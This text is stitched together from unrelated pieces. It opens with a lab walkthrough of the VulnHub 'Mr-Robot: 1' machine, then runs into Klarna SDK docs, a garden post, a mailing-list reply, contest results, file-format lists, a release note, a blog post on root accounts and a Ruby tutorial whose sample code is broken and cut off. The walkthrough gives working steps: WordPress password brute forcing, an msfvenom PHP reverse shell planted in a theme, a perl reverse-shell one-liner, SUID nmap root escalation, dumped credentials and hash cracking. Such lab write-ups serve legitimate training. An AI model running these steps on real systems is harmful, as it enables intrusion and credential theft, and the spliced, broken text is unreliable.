---
layout: post
title: "Mr-Robot: 1"
date: 2019-05-02 01:20:55 +0000
author: Larry Brown
category: Walkthroughs
tags: [vulnhub, wordpress, wpscan, nmap interactive mode, suid, john]
---
Hostname: linux
IP Address: <IP_ADDRESS>
Information Gathering/Recon
The IP address is obtained via DHCP at boot. In my case, the IP is <IP_ADDRESS>.
Service Enumeration/Scanning
root@kali:~/Walkthroughs/mrrobot# nmap -Pn -sT -sV -sC -A -oA mrrobot -p 1-65535 <IP_ADDRESS>
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-01 21:24 EDT
Nmap scan report for linux.homenet.dom (<IP_ADDRESS>)
Host is up (0.0028s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03
MAC Address: 08:00:27:9B:2D:C0 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 2.80 ms linux.homenet.dom (<IP_ADDRESS>)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 123.37 seconds
Gaining Access
Very little information was returned from nmap about the two web services available. Let's see if nikto has any more luck. We'll start with the HTTP service on TCP port 80.
root@kali:~/Walkthroughs/mrrobot# nikto -h http://<IP_ADDRESS>
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: <IP_ADDRESS>
+ Target Hostname: <IP_ADDRESS>
+ Target Port: 80
+ Start Time: 2019-05-01 21:28:35 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/5.5.29
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html, index.php
+ OSVDB-3092: /admin/: This might be interesting...
+ Uncommon header 'link' found, with contents: <http://<IP_ADDRESS>/?p=23>; rel=shortlink
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /admin/index.html: Admin login page/section found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wp-login/: Admin login page/section found.
+ /wordpress: A Wordpress installation was found.
+ /wp-admin/wp-login.php: Wordpress login found
+ /wordpresswp-admin/wp-login.php: Wordpress login found
+ /blog/wp-login.php: Wordpress login found
+ /wp-login.php: Wordpress login found
+ /wordpresswp-login.php: Wordpress login found
+ 7915 requests: 0 error(s) and 18 item(s) reported on remote host
+ End Time: 2019-05-01 21:32:23 (GMT-4) (228 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Looks like we found lots of interesting things. So much so that we wonder if these are red herrings (or false positives due to invalid errors being returned).
Checking the robots.txt file, we have the following entries.
Looks like we have found at least one of our three keys.
root@kali:~/Walkthroughs/mrrobot# wget http://<IP_ADDRESS>/key-1-of-3.txt
--2019-05-02 00:01:09-- http://<IP_ADDRESS>/key-1-of-3.txt
Connecting to <IP_ADDRESS>:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 33 [text/plain]
Saving to: 'key-1-of-3.txt'
key-1-of-3.txt 100%[=======================================================================>] 33 --.-KB/s in 0s
2019-05-02 00:01:09 (2.45 MB/s) - 'key-1-of-3.txt' saved [33/33]
root@kali:~/Walkthroughs/mrrobot# cat key-1-of-3.txt
073403c8a58a1f80d943455fb30724b9
We also have a large (7 MB) dictionary file, 'fsocity.dic'. We'll download that for later use.
One thing that jumps out in the nikto output is the header 'link'
http://<IP_ADDRESS>/?p=23. We might can increment that number to find interesting pages. Let's see what loads when we visit the link 'as is'.
Let the games begin, apparently. Looking through the
fancy JavaScript for the page, we notice there is a '420' option not listed in the menu of commands. Looking through to see what each command does:
-
question - loads an image gallery
-
fsociety - loads a video
-
prepare - loads a video
-
wakeup - loads a video
-
420 - loads a 'hidden' image gallery
-
inform - loads an image gallery
Interestingly, the 'delay' in the JavaScript for this option is set to 400 (or 6.66666667 if you divide by 60... note the '666').
Running nikto against the HTTPS service on TCP port 443 produced essentially the same results. At this point we can run drib to see if there are some hidden directories or we can run wpscan to see what's going on with the wordpress site. I'll go with dirb first.
The only directory of interest returned was /image/. This returns what appears to be one of the only valid pages on the WordPress site.
Checking the links around the image, it appears this one would be item number 23 (like the p=23 parameter in our "link" header). Who knows if this means anything.
The next thing I tried to do was brute force WordPress user IDs. I chose to do up to 15052 IDs (based on the number in the picture), but this turned out to be fruitless. The blog doesn't really have any entries, so it is hard to brute force logins by id.
wpscan --url http://<IP_ADDRESS>/wordpress --wp-content-dir http://<IP_ADDRESS>/wp-content -e u1-15052
Next I wanted to try some names from the T.V. show Mr. Robot (based on the "theme" of this VM). I started looking up character names in
IMDB. Annoyingly, and yet thankfully, the first one I tried "elliot" (the main character in the show) produced an error message that indicates that is a valid account.
Now that we have a valid account name and a large dictionary to use (fsocity.dic), I'll try to brute force the user's password with wpscan. However, before using the dictionary, I want to clean it up a bit. First, I'll see if there are duplicate words in it.
root@kali:~/Walkthroughs/mrrobot# cat fsocity.dic | sort | uniq -c | sort -rn | head -n 15
150 123456Seven
75 Zzydrax
75 zSqu8myTkY8
75 zones
75 Zone
75 zone
75 Zombie
75 Zoeyadams
75 zhthefinalcrush
75 Zeros
75 zeros
75 ZeroBased
75 ZeroBas
75 Zero
75 zero
Looks like there is a LOT of duplication. Each word shows up about 75 times. Looking at the end of the file, I find something more interesting.
root@kali:~/Walkthroughs/mrrobot# cat fsocity.dic | sort | uniq -c | sort -rn | tail -n 15
75 002
75 001
75 000080
75 000000
75 000
1 uHack
1 psychedelic
1 imhack
1 iamalearn
1 ER28-0652
1 c3fcd3d76192e4007dfb496cca67e13b
1 ABCDEFGHIJKLMNOPQRSTUVWXYZ
1 abcdefghijklmnopq
1 abcdEfghijklmnop
1 abcdefghijklmno
We have a handful of words that are only showing up once. I'm going to create a small subset of the dictionary with these single use words to see if they might be the password. If not, I'll filter down the dictionary to unique words and try again. To create my small list, I'll do the following.
root@kali:~/Walkthroughs/mrrobot# cat fsocity.dic | sort | uniq -c | sort -rn | awk '{ if ($1 == 1) print $2}' > fsocity.dic.small
root@kali:~/Walkthroughs/mrrobot# cat fsocity.dic.small
uHack
psychedelic
imhack
iamalearn
ER28-0652
c3fcd3d76192e4007dfb496cca67e13b
ABCDEFGHIJKLMNOPQRSTUVWXYZ
abcdefghijklmnopq
abcdEfghijklmnop
abcdefghijklmno
Now I'll run wpscan with the small dictionary. I'm going to try to take advantage of the xmlrpc service to speed up the brute force attempts.
wpscan --url http://<IP_ADDRESS>/wordpress --wp-content-dir http://<IP_ADDRESS>/wp-content --usernames 'elliot' --passwords fsocity.dic.small --output wpscan-password-attack-xmlrpc --password-attack xmlrpc
Once that ran, we checked our output file and found the following.
[i] Valid Combinations Found:
| Username: elliot, Password: ER28-0652
Logging in with 'elliot', we see that the user is an Administrator.  The easiest way (if we have write access to the themes directories) is to create our PHP reverse shell code using msfvenom and drop it into a Theme page. We'll try that first.
We'll use msfvenom to create our PHP reverse shell code.
root@kali:~/Walkthroughs/mrrobot# msfvenom -p php/reverse_php LHOST=<IP_ADDRESS> LPORT=5432 -f raw > rev.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 3019 bytes
Next, we'll click Appearance -> Editor in WordPress and select the 404 Template on the right. We'll paste our shell code into the bottom of this page and click the Update File button.
Now we can start our listeners in Metasploit. I like to start two listeners because the PHP reverse shell doesn't stay active for very long. As soon as I connect I like to start another reverse shell (typically using perl).
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set LHOST <IP_ADDRESS>
LHOST => <IP_ADDRESS>
msf5 exploit(multi/handler) > set LPORT 5432
LPORT => 5432
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on <IP_ADDRESS>:5432
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST <IP_ADDRESS>
LHOST => <IP_ADDRESS>
msf5 exploit(multi/handler) > set LPORT 5433
LPORT => 5433
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on <IP_ADDRESS>:5433
With our shell code loaded into the 404 error page and our listeners started, we just have to request a page on the "blog" that doesn't exist.
msf5 exploit(multi/handler) > [*] Command shell session 1 opened (<IP_ADDRESS>:5432 -> <IP_ADDRESS>:32835) at 2019-05-02 01:09:54 -0400
msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
pwd
/opt/bitnami/apps/wordpress/htdocs
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
perl -e 'use Socket;$i="<IP_ADDRESS>";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};' &
[*] Command shell session 2 opened (<IP_ADDRESS>:5433 -> <IP_ADDRESS>:34643) at 2019-05-02 01:10:38 -0400
Great! Our PHP reverse shell connected and then we were able to start a second session using the perl command.
Maintaining Access
[I didn't mess with this part this time.]
Privilege Escalation
Checking for SUID binaries, we find nmap in /usr/local/bin.
daemon@linux:/$ find / -user root -perm -4000 2>&1 | grep -v "Permission denied"
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown
daemon@linux:/$ ls -l /usr/local/bin/nmap
-rwsr-xr-x 1 root root 504736 Nov 13 2015 /usr/local/bin/nmap
Using nmap in "interactive" mode, we can execute commands as root by simply preceding the command with an exclamation point.
daemon@linux:/$ /usr/local/bin/nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !whoami
root
waiting to reap child : No child processes
nmap> !/bin/sh
# id
uid=1(daemon) gid=1(daemon) euid=0(root) groups=0(root),1(daemon)
# cd /root
# ls
firstboot_done key-3-of-3.txt
# cat key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
Pivoting
N/A
Clean Up
*** REMOVE PHP reverse shell code from the template 404 page ***
Additional Info
key-2-of-3.txt
We found the second key in /home/robot.
bash-4.3# cat key-2-of-3.txt
822c73956184f694993bede3eb39f959
password.raw-md5
The /home/robot directory contained a file named 'password.raw-md5'.
bash-4.3# cat password.raw-md5
cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
I verified the password for user 'robot' was 'abcdefghijklmnopqrstuvwxyz'.
daemon@linux:/home/robot$ su - robot
Password: abcdefghijklmnopqrstuvwxyz
$ id
uid=1002(robot) gid=1002(robot) groups=1002(robot)
wp-config.php
Checking the wp-config.php file in /opt/bitnami/apps/wordpress/htdocs, we find both database and FTP credentials.
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ cat wp-config.php
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the
* installation. You don't have to use the web site, you can
* copy this file to "wp-config.php" and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'bitnami_wordpress');
/** MySQL database username */
define('DB_USER', 'bn_wordpress');
/** MySQL database password */
define('DB_PASSWORD', '570fd42948');
/** MySQL hostname */
define('DB_HOST', 'localhost:3306');
[...]
define('FS_METHOD', 'ftpext');
define('FTP_BASE', '/opt/bitnami/apps/wordpress/htdocs/');
define('FTP_USER', 'bitnamiftp');
define('FTP_PASS', 'inevoL7eAlBeD2b5WszPbZ2gJ971tJZtP0j86NYPyh6Wfz1x8a');
define('FTP_HOST', '<IP_ADDRESS>');
define('FTP_SSL', false);
Logging into the database...
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ mysql -u bn_wordpress -p bitnami_wordpress
Enter password: 570fd42948
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 154798
Server version: 5.6.26 MySQL Community Server (GPL)
Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> select user_login,user_pass from wp_users;
select user_login,user_pass from wp_users;
+------------+------------------------------------+
| user_login | user_pass |
+------------+------------------------------------+
| mich05654 | $P$BpmKcWWjgC3/UGtj/fO36PsCxYC2E51 |
| elliot | $P$BHh01ohuhaRcy2EAC6ad//vTQ1eMwe. |
+------------+------------------------------------+
2 rows in set (0.00 sec)
I added the username and hash for mich05654 to a file and used john and the fsocity.dic to crack the password.
root@kali:~/Walkthroughs/mrrobot# cat wp_users
mich05654:$P$BpmKcWWjgC3/UGtj/fO36PsCxYC2E51
root@kali:~/Walkthroughs/mrrobot# john --wordlist=fsocity.dic wp_users
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 128/128 AVX 4x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Dylan_2791 (mich05654)
1g 0:00:00:00 DONE (2019-05-02 10:00) 4.761g/s 10057p/s 10057c/s 10057C/s 143..22title
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed


object KlarnaPaymentActions
Defines all actions which can trigger an error. |
|
data class KlarnaPaymentError
Represent an error which occurred during the payment process. |
|
interface KlarnaPaymentViewCallBack
Callback interface definition for events relevant to the payment process. |
|
object KlarnaPaymentsSDK
Top level access point for Klarna Payments. |
|
class PaymentView : FrameLayout
A View which renders a payment options. It acts as an interface to methods relevant to the payment method category it’s rendering. |
const val PAY_LATER: String
Represents the Pay Later payment category method. |
|
const val PAY_NOW: String
Represents the Pay Now payment category method. |
|
const val SLICE_IT: String
Represents the Slice it payment category method. |


--- title: Rose Garden Irises date: 2014-03-06 00:00:00 -06:00 categories: - whats-blooming layout: post blog-banner: whats-blooming-now-spring.jpg post-date: March 6, 2014 post-time: 11:34 AM blog-image: wbn-default.jpg ---
George Reticulated Iris Iris reticulata 'George'
Clairette Reticulated Iris Iris reticulata 'Clairette'
Danford Iris Iris danfordiae
Gordon Reticulated Iris Iris reticulata 'Gordon'
Lady Beatrix Stanley Iris on the left and George Reticulated Iris on the Right
Iris histrioides 'Lady Beatrix Stanley' Iris reticulata 'Gordon'
These aren't even examples of all we have! There are different cultivars opening up every day, so come back often so you don't miss a single one.


[gecode-users] Propagation order
Christian Schulte
cschulte at kth.se
Mon Jun 14 10:18:57 CEST 2010
Hi,
There are of course the normal cost values: unary, binary, ternary, linear,
etc. The system picks the cheapest, however some cost values are treated
alike. That is why there are no hard facts to be relied on.
But maybe you can give us an idea what you try to achieve?
Cheers
Christian
--
Christian Schulte, www.ict.kth.se/~cschulte/
-----Original Message-----
From: users-bounces at gecode.org [mailto:users-bounces at gecode.org] On Behalf
Of Peter Vanhee
Sent: Monday, June 14, 2010 7:23 AM
To: users at gecode.org
Subject: [gecode-users] Propagation order
Hi all,
I am trying to weight different propagators implementing a cost function
"virtual PropCost cost(const Space&, const ModEventDelta&) const".
As indicated by the documentation "The only hard fact you can rely on is
that a propagator
with a cost value using PropCost::HI is never given preference over a
propagator with a cost
value using PropCost::LO".
For my particular problem however I'd need to weigh propagators quite
differently,
so they get executed almost sequentially, and simply saying LO or HI isn't
enough.
Does gecode offer another way to control the order of propagation?
Thanks,
Peter
_______________________________________________
Gecode users mailing list
users at gecode.org
https://www.gecode.org/mailman/listinfo/gecode-users
More information about the users
mailing list


Much of what I achieved today
would not be possible
without the support
of my loved ones
Hence I take this chance, to
thank those who have
helped me along my way
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Today we Bring You The Results Of The Second SteemSTEM Writing Competition!
As we, the SteemSTEM people, always say is that the best way to learn about a topic is to teach it to others. Our initiative offers the community the opportunity to get rewarded for such an effort, and we are always hunting for the best contributions. Today we are very pleased to report to you the winners of the prizes from the Second SteemSTEM Writing Competition!
What Were The Potential Prizes?
- 1st Place - 200 Steem Power + 18.5 STEEM (rewards earned from announcement post)
- 2nd Place - 100 Steem Power + 18.5 STEEM (rewards earned from announcement post)
- 3rd Place - 50 Steem Power + 18.5 STEEM (rewards earned from announcement post)
- 4th Place - 50 Steem Power
- 5th Place - 25 Steem Power
The top three posts were re-steemed in addition to the bonus monetary prize.
As an extra thank you to all of those who participated, we are awarding a 5 Steem Power bonus to all runner up submissions. We appreciate all of your hard work creating these posts and thank each one of you for the diverse sample of topics.
Reviewing How Judging and Ranking Was Performed
Three members of the SteemSTEM team, @anarchyhasnogods, @lemouth, and @justtryme90 were responsible for judging the posts.
We assigned each submitted post a score based on 5 guidelines.
- Accuracy - 15 pts
- Comprehensibility - 15 pts
- The choice of the topic - 10 pts
- Formatting - 5 pts
- Appropriate citations and references - 5 pts
Scientific accuracy: Spreading inaccurate and/or false information leads to confusion for your readers!
Comprehensibility: Garbled text or text that is too technical can be hard to understand. It is always possible to make complex topics simple, and that is something that we as science writers, should strive for.
Topic: As said above, we will pay a special attention to the reasons that have pushed you to write on the submitted topic.
Formatting: Large solid blocks of text are difficult to read and concentrate on, no matter the comprehensibility of the text. We are not looking for advanced formatting techniques, just basic, solid formatting improving the readability and motivating your readers to put in the time to read your post.
Citations: Citing information gives credits on the one hand, and serves as a way for your readers to learn more if they are interested on the other hand.
The Results
The Top Five Posts
First Place
Ultrasonography by @hagbardceline
What we thought: Wow! What a well crafted post! Excellently written, organized, and cited. The formatting made the well crafted text even more easily digestible and the images chosen truly complemented the text. Finally, the depth and quality of the cited material should serve as a fantastic example of what one can do to both ensure an accurate post, as well as provide a nice springboard for further reading. We all learned quite a bit about ultrasound and its use in the ultrasonography technique from this post!
Second Place
Does inhaling bacteria increase intelligence? by @jaki01
What we thought: Another fantastically crafted post! The writing is very clear and the information well supported. The information is also extremely well cited, and easy to access due to the author’s use of links and citation markers throughout the text. A fascinating report on Mycobacterium vaccae, and its influence on our brains, moods, serotonin levels and learning abilities.
Third Place
Virtual Futures : The Allure and Illusion of Digital Urbanism by @voronoi
What we thought: This was a very thought provoking post! As with the top two submissions the writing in this post is exceptional and the information factual, well supported and interesting to read. The images and gifs of what the future augmented reality may look like really helped in making the text come to life and truly made for a wonderful learning experience.
Fourth Place
In the future, Science may help patients forget certain memories by @mgibson
What we thought: This was a very well written and interesting post. As with the top three submissions the writing in this post is exceptional, and the information factual. Though not as extensively sourced and shorter than the posts above, this is still a very well organized and thought provoking contribution to scientific discussion on steemit!
Fifth Place
Smallpox, Vaccination, and Oscillatory Epidemic Dynamics by @kzollove
What we thought: Yet another great post. As with the top four submissions this is a well written piece of work and the information supported with citations. Tells a nice history of the eradication of smallpox as a result of of the development of the vaccine. We did look at your graph @kzollove, and we hope others will too!
Runners Up Submissions (Alphabetical Order By Author)
| Author | Post Title | |—|—| | @danigirl | Making Our Bodies Uninhabitable to Cancer | | @jeff-kubitz | Healing Whirlwinds - SteemStem Competition 2 | | @madlenfox | A miracle of nature | | @maszblogs | What’s that gas?? One of Most Common Gasses in the Universe | | @surpassinggoogle | Around 60 People In The World, Have Superhuman Memory And Remember Each Day Of Their Lives!!!|
We @steemstem thank all of you for participating and wish congratulations to the winners!
Considering the success of this contest we hope to do another in the near future. Please be on the lookout for the next contest opportunity
Thank you for your support of the @steemstem project and your enthusiasm for creating and reading great STEM content on steemit.
This page is synchronized from the post: Results From The Second SteemSTEM Writing Competition


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Fabric7 uses the following extensions for file names:
*.AZI = horizontally distributed orientation data with
polarity, 0° to 359°, type: azimuth,
*.BMP = Windos Bitmap Format for graphic files,
*.DXF = Drawing Exchange
Format for graphic files,
*.EMF = Enhanced Metafile (Windows) for graphic
files,
*.FOU = Fourier-koefficients, type: vergency,x1,y1
x2,y2 x3,y3,
*.FRN = Data file for the enhanced Fry method,
*.FRY = Data file for the Fry method,
*.GIF = Graphic Interchange Format for graphic
files,
*.JPG = Jpeg format for compressed graphic files,
*.LAZ = horizantally distributed orientation data
with polarity and magnitudes,
*.LIN = three-dimensionally
distributed linear orientation data,
type: azimuth of dip
/ angle of dip,
*.LI2 = Files with pairs of lineations for the
calculation of planes, angles, and normals,
*.LST = horizontally distributed bipolar orientation
data with magnitudes, type: fotolineation,
*.PCH = Planes (dip azimuth/dip
angle) and clockwise Pitch angle,
*.PLA = three-dimensionally distributed planar
orientation data, type: azimuth of dip
/ angle of dip,
*.PLB = three-dimensionally distributed planar
orientation data, type: strike,dip, direction of dip,
*.PLI = Planes (dip azimuth/dip angle) and lineation
(dip azimuth/dip angle) in the plane,
*.PLT = Hewlett Packard
Graphic Language for vectorgraphic,
*.PL2 = Files with pairs of planar data for calculation
of intersection lines or angles,
*.POL = X-y-coordinates of Corner points of polygons
for the Panozzo method,
*.RFI = Data for the Rf/Phi method,
*.RGD = Data for R%-G%-diagramms,
type: R%,G%,
*.SLI = Slickensides with striations with polarity, type: azimuth
of dip /+ or - angle of dip,
*.STR = horizontally distributed bipolar orientation
data, type: strike lines,
*.TAL = distances of isogons for the T’alpha/alpha
method,
*.TIF = Tagged Image Format
for graphic files,
*.TLI = Linears (stretching or compression) for
the Talbot method,
*.WMF = Windows Metafile for graphic files,
*.WOO = Files with eigenvalues, type: E1,E2,E3.


When selecting a pivot value, a simple thing to do is to always pick from the same place in the partition. If we use this approach, does it matter whether we always pick from the first position in the partition, the last position in the partition, or the middle position in the partition?
If you pick the first or last one, then sorted input will give the worst case performance.
If you pick the middle value, then it is still possible to get worst-case performance.
But to do so requires a very specific and unusual permuation that will normally occur very rarely.
If all permuations were equally likely, then it wouldn't matter. But in practice, the sorted input is much more likely to occur.


--- layout: post title: ToxoDB 13.0 Released category: [ToxoDB] ---
The data set title below links to a full description and list of associated searches and GBrowse tracks.
RNA Sequencing:
T. gondii ME49 Transcriptome during overexpression of alternative-splicing factor TgSR3 (Ralph Lab) - Samples were sequenced in biological triplicates, and were uninduced, or induced to overexpress TgSR3 for 4, 8 or 24 hours.
Whole
genome sequencing of isolates for SNP analysis:
T.
gondii VEG and GT1 aligned genomic sequencing reads
- Illumina whole genome re-sequencing
of T. gondii VEG and GT1 reference strains.
Improvements
and updates:
BLAST was updated to the latest NCBI version 2.2.30.
GBrowse performance is improved following EuPathDB infrastructure changes.


TreeQL documentation
What is Treeql?
TreeQL is an elegant tree query language inspired by Cost.
There is a Tcl Wiki Page for discussion of this package.
Current stable implementation: Download
API Documentation
- TreeQL Interface
- User level TreeQL interface
- CostQ Interface
- Cost-alike Query interface built over TreeQL
- Low Level TreeQL API
- Tree transformers and filters
- Tree API
- API required of an underlying tree
- Internal TreeQL API
Colin McCormack
Last modified: Thu Sep 30 13:39:21 EST 2004


Hang Dang Squad
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--- layout: post status: publish published: true title: root == Bad author: display_name: iguy login: iguy email<EMAIL_ADDRESS>url: '' author_login: iguy author_email<EMAIL_ADDRESS>wordpress_id: 51 wordpress_url: http://itsjustanotherlayer.com/?p=51 date: !binary |- MjAwOC0xMi0yOCAwMzoyMDoxMCAtMDYwMA== date_gmt: !binary |- MjAwOC0xMi0yOCAwMzoyMDoxMCAtMDYwMA== categories: - VMware tags: - root - VMware comments: - id: 24 author: Jason Boche author_email<EMAIL_ADDRESS>author_url: http://www.boche.net/blog/ date: !binary |- MjAwOC0xMi0yOCAwMzo1NzowNSAtMDYwMA== date_gmt: !binary |- MjAwOC0xMi0yOCAwMzo1NzowNSAtMDYwMA== content: You obviously work in the trenches. In the real world. Like me. - id: 25 author: Cody author_email<EMAIL_ADDRESS>author_url: http://professionalvmware.com date: !binary |- MjAwOC0xMi0yOCAwNDozMToyMiAtMDYwMA== date_gmt: !binary |- MjAwOC0xMi0yOCAwNDozMToyMiAtMDYwMA== content: ! 'One point of contention: "Anyone that immediately says these are trivial never has had to maintain this for thousands of accounts from the top down to the actual account.  Now why would you need another root account? I’m doing everything I can to get rid of all usage of it. sudo does 99.99% of everything I need to do with root level privileges in ESX." If you are already sshing, into thousands of ESX servers to do maintenance, then the benefit/non-benefit of having this is moot, and your management/design should likely be revisited. That said, in this case, it''s just one of those things available to you. Logging into ESX and doing "sudo rm -rf /" isn''t smart either, but it can be done.' - id: 26 author: Vishnu Mohan author_email<EMAIL_ADDRESS>author_url: '' date: !binary |- MjAwOC0xMi0yOCAxNDo0NjoyNCAtMDYwMA== date_gmt: !binary |- MjAwOC0xMi0yOCAxNDo0NjoyNCAtMDYwMA== content: You technically don't need a root account on the ESX host to add it to VirtualCenter. A user account with the correct privileges would suffice. - id: 27 author: iguy author_email<EMAIL_ADDRESS>author_url: http://www.itsjustanotherlayer.com date: !binary |- MjAwOC0xMi0yOCAyMDozNDo0NSAtMDYwMA== date_gmt: !binary |- MjAwOC0xMi0yOCAyMDozNDo0NSAtMDYwMA== content: ! "@Cody: I don't follow you quite clearly Cody. I ssh into around a hundred ESX Hosts currently using a home grown framework for management and auditing for this environment. So these actions aren't manual. The key is I'm not sshing into everyone of these machines with the root account. Instead each engineer uses their own credentials and as such this is well audited as who did what when. \ Can I prevent someone from running \"sudo rm -rf\"? No. Can I figure out who did it? Yes. If they were using root or some other shared account could I figure out who did it? Not unless they admit to it. \n\nThere is a point where you have to have some faith or trust in the individuals that have the power. \ The best you can do realistically is to limit who have that level of power as much as reasonable while balancing the age old debate of security where you can't do anything versus flexibility to get your job done.\n\n@Vishnu: What privileges do you need? I'll have to look into this again and try it." ---
I've been reading a bunch of posts that have been covering the idea of "making another root account". I read this KB article from VMware when it first came out and said "how dumb, no thanks". I didn't realize it would cause such a stir.
When I design new systems and deploy new applications and processes at my work, a large part of the discussion in my mind is how much support work will this new procedure cause. Initial deployment is typically all a project planner thinks about. That is a small cost in the overall picture from my experience.
Adding an additional root level account introduces the following support issues:
Now why would you need another root account? I'm doing everything I can to get rid of all usage of it. sudo does 99.99% of everything I need to do with root level privileges in ESX. If I could add a host into VirtualCenter using a user account instead of root I'd be happy to disable logins using root. There is only one situation I can think of that I need root for and if the host is that screwed up, I'll most likely be rebooting it anyways.
Not much use for root honestly. Fight the power. As a fellow blogger says so elegantly, "Just cause you can doesn't mean you should".


Resources
Resources are for information purposes only, no endorsement implied.
Video: Clear Layout and Design from Web Accessibility Initiative's Perspectives Video Series
Web Accessibility Tutorial: Headings from W3C Tutorials Series
WebAIM: Semantic Structure
Heading Tags


Ah, summer...
I'm currently learning Ruby on Rails. As a total beginner to Ruby,
this task has proven to be a difficult undertaking. To an experienced
programmer, I'm sure that picking up another language is a small matter of
learning syntax and then
a few new ways of organizing scopes and abstract data types.
However, to someone like me, who only really started programming a few months
ago and has working knowledge of exactly one language, Java, learning
a language like Ruby ain't a cakewalk. I've decided to write regular
instructive posts on the language in order to help myself solidify my own understanding
as well as anyone finding themselves in this part of the internet.
Differences between Ruby and Java
In Java, we have classes, which define an instance of the class (object) and way to manipulate it
(methods, both static and instance). For example, we may have a class definition of a Rational
number
extending Integer
:
class Rational extends Integer {
//private class variables
private int numerator;
private int denominator;
//initializers
public Rational(int num, int denom) {
numerator = num;
denominator = denom;
}
public Rational(){
numerator = 0;
denominator = 1; //in reality you can't divide by 0
}
//instance method
public int getNum() {
return this.numerator;
}
//static method
public static Rational add(Rational one,Rational two) {
Rational sum = new Rational();
sum.denominator = GCD(one.denominator + two.denominator);
sum.numerator = one.numerator * (GCD/one.denominator) + two.numerator * (GCD/two.denominator);
return sum;
}
}
What we've done is extended the Integer
class, which let's say provides us a GCD
method,
to a Rational
class which includes class variables, instance initializers, and a static "class" method add
.
Importantly, all class methods must be defined within the class. This makes it tedious to rewrite methods that often use similar parameters.
In Ruby, several things are different. You don't have to declare class variables. You don't have to define class and instance methods within the class.
You can define a method that deals with an instance of the class, outside of the class definition, in a module.
For example, let's implement Rational
in Ruby:
class Rational < Integer
# initializer
def initialize(*ints)
@num, @denom = ints
end
# accessors
attr_accessor :denom
attr_accessor :num
end
Yup, that's pretty much all you need in a class definition in Ruby. To get the instance method, get_num
(changed for Ruby naming convention)
, and the static method, add
,
we use two different Ruby modules. Modules exist in Ruby to allow inheritance of methods without inheritance of the entire parent class. Multiple classes
can mix in a module to share common API methods easily. Our first module will be for get_num
:
module GetNums
def get_num
@num
end
end
module Add
def add(*nums)
sum = Rational.new
sum.denom = GCD(nums.denom)
